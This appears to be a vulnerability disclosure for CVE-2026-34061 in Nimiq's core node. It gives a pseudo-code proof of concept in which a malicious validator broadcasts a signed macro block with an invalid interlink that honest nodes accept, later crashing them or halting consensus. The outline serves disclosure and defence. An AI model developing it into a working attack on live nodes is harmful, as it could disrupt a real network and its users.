CVE-2026-34061 Nimiq核心节点共识逻辑漏洞

// Conceptual PoC for CVE-2026-34061 // This snippet demonstrates the logic flaw in Rust pseudo-code fn exploit_cve_2026_34061() { // 1. Attacker acts as a malicious validator (PR:H) let validator_key = load_malicious_validator_key(); // 2. Construct a macro block proposal let mut block_proposal = MacroBlock::default(); // 3. Maliciously tamper with the header.interlink // The interlink must match the canonical chain, but here we set an invalid one block_proposal.header.interlink = Interlink::construct_invalid(); // 4. Ensure other fields are valid to pass shape and signature checks block_proposal.header.body_root = calculate_body_root(&block_proposal.body); block_proposal.header.signature = sign(&validator_key, &block_proposal.header); // 5. Send proposal to the network broadcast_proposal(block_proposal); // VULNERABILITY TRIGGER: // Honest nodes call verify_macro_block_proposal(block_proposal) // This function checks shape, successor, proposer, body_root, state. // IT FAILS TO CHECK: header.interlink binding. // Result: Vulnerable nodes accept the proposal and Prevote/Precommit. // IMPACT: // Later, verify_block() is called during push(), detects InvalidInterlink, // and crashes the node or halts consensus after the block is 'finalized'. }